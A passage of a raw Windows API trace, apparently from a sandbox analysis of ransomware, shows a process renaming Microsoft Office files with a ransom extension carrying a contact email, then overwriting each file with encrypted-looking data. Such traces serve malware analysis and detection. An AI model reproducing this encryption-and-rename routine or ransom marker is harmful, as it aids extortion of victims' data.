cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0155.538] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\de\\powerviewres.de.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0155.538] GetProcessHeap () returned 0x630000 [0155.538] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70180b0 [0155.539] GetProcessHeap () returned 0x630000 [0155.539] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70234e0 [0155.539] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.539] ReadFile (in: hFile=0x6d8, lpBuffer=0x70180b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70180b0*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.246] GetProcessHeap () returned 0x630000 [0162.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0162.246] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.246] WriteFile (in: hFile=0x6d8, lpBuffer=0x70234e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234e0*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.246] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.246] WriteFile (in: hFile=0x6d8, lpBuffer=0x702e8df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e8df*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.060] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.060] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.060] CloseHandle (hObject=0x6d8) returned 1 [0164.060] GetProcessHeap () returned 0x630000 [0164.060] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70234e0 | out: hHeap=0x630000) returned 1 [0164.060] GetProcessHeap () returned 0x630000 [0164.060] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70180b0 | out: hHeap=0x630000) returned 1 [0164.060] GetProcessHeap () returned 0x630000 [0164.060] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0164.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bced38, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5031d, dwReserved0=0xbd47496, dwReserved1=0x70180a8, cFileName="PowerViewRes.de.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4f80 [0164.060] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0164.060] Sleep (dwMilliseconds=0x1) [0164.072] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.072] GetProcessHeap () returned 0x630000 [0164.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c04) returned 0x707d3d0 [0164.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1049\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0165.555] CloseHandle (hObject=0x6b0) returned 1 [0165.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1049\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1049\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5440 [0168.688] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0168.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1049\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0168.689] GetProcessHeap () returned 0x630000 [0168.689] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7045170 [0168.689] GetProcessHeap () returned 0x630000 [0168.689] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70505a0 [0168.689] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.689] ReadFile (in: hFile=0x6b0, lpBuffer=0x7045170, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7045170*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0175.415] GetProcessHeap () returned 0x630000 [0175.415] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0175.415] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.416] WriteFile (in: hFile=0x6b0, lpBuffer=0x70505a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70505a0*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0175.416] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.416] WriteFile (in: hFile=0x6b0, lpBuffer=0x705b99f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b99f*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0175.416] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.417] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0175.417] CloseHandle (hObject=0x6b0) returned 1 [0175.417] GetProcessHeap () returned 0x630000 [0175.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70505a0 | out: hHeap=0x630000) returned 1 [0177.700] GetProcessHeap () returned 0x630000 [0177.700] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7045170 | out: hHeap=0x630000) returned 1 [0177.703] GetProcessHeap () returned 0x630000 [0177.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0177.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e8026b1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0xbd47496, dwReserved1=0x7045168, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0177.703] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.703] Sleep (dwMilliseconds=0x1) [0179.924] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr", len=0x49 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr") returned 1 [0179.924] GetProcessHeap () returned 0x630000 [0179.924] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aa4) returned 0x707d3d0 [0179.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0179.925] CloseHandle (hObject=0x694) returned 1 [0179.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0179.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0179.926] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0179.926] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bb4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMePowerPoint.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELLME~4.FIR")) returned 0x6d4ec0 [0179.927] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0179.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0179.927] GetProcessHeap () returned 0x630000 [0179.927] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70180b0 [0179.927] GetProcessHeap () returned 0x630000 [0179.927] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70234e0 [0179.927] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.927] ReadFile (in: hFile=0x694, lpBuffer=0x70180b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70180b0*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.822] GetProcessHeap () returned 0x630000 [0185.822] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0185.822] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.822] WriteFile (in: hFile=0x694, lpBuffer=0x70234e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234e0*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.823] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.543] WriteFile (in: hFile=0x694, lpBuffer=0x702e8df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e8df*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.547] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.547] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.548] CloseHandle (hObject=0x694) returned 1 [0187.548] GetProcessHeap () returned 0x630000 [0187.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70234e0 | out: hHeap=0x630000) returned 1 [0187.548] GetProcessHeap () returned 0x630000 [0187.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70180b0 | out: hHeap=0x630000) returned 1 [0187.548] GetProcessHeap () returned 0x630000 [0187.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0187.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x35bc895a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4bb70, dwReserved0=0xbd47496, dwReserved1=0x70180a8, cFileName="TellMePowerPoint.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELLME~4.FIR")) returned 0x6d52c0 [0187.548] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0187.548] Sleep (dwMilliseconds=0x1) [0187.589] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", len=0x50 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx") returned 1 [0187.589] GetProcessHeap () returned 0x630000 [0187.589] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29a8) returned 0x707d3d0 [0187.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0187.590] CloseHandle (hObject=0x714) returned 1 [0187.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3436, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="bwnumbered.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BWNUMB~1.FIR")) returned 0x6d5440 [0187.592] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0187.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0187.592] GetProcessHeap () returned 0x630000 [0187.592] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3441) returned 0x74646a0 [0187.592] GetProcessHeap () returned 0x630000 [0187.592] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3441) returned 0x728fb10 [0187.593] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.593] ReadFile (in: hFile=0x714, lpBuffer=0x74646a0, nNumberOfBytesToRead=0x3420, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x74646a0*, lpNumberOfBytesRead=0x4fbff0c*=0x3420, lpOverlapped=0x0) returned 1 [0189.828] GetProcessHeap () returned 0x630000 [0189.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0189.829] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.829] WriteFile (in: hFile=0x714, lpBuffer=0x728fb10*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fb10*, lpNumberOfBytesWritten=0x4fbff0c*=0x3420, lpOverlapped=0x0) returned 1 [0189.829] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.829] WriteFile (in: hFile=0x714, lpBuffer=0x7292f2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7292f2f*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.829] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.829] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.830] CloseHandle (hObject=0x714) returned 1 [0189.830] GetProcessHeap () returned 0x630000 [0189.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728fb10 | out: hHeap=0x630000) returned 1 [0189.830] GetProcessHeap () returned 0x630000 [0189.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74646a0 | out: hHeap=0x630000) returned 1 [0189.830] GetProcessHeap () returned 0x630000 [0189.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0189.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.831] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3718426e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x345a, dwReserved0=0xbd47496, dwReserved1=0x7464698, cFileName="bwnumbered.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BWNUMB~1.FIR")) returned 0x6d53c0 [0189.831] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0189.831] Sleep (dwMilliseconds=0x1) [0191.962] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX", len=0x4f | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX") returned 1 [0191.962] GetProcessHeap () returned 0x630000 [0191.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45d0) returned 0x74656a8 [0191.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vstx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 